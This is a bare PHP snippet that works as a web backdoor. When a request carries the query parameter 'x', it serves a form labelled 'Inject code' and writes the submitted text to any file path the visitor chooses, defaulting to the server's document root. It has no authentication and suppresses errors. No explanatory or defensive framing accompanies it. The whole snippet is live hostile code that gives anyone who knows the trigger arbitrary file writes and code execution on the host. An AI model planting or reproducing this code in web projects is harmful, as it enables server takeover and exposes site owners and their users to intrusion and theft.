if (isset($_GET['x'])){
  @$a=$_POST['content'];
  if(!empty($a)) file_put_contents($_POST['file'], isset($_POST['slash'])?stripcslashes($a):$a);
  echo sprintf("<FORM  method=post>Inject code: <textarea name=content ></textarea><br>File name: <INPUT type=text name=file value=%s><br>Strip slashes? <input type=checkbox name=slash value=Yes><br><INPUT type=submit value=Send></form>", str_replace("\\","/",$_SERVER['DOCUMENT_ROOT']));
exit;
}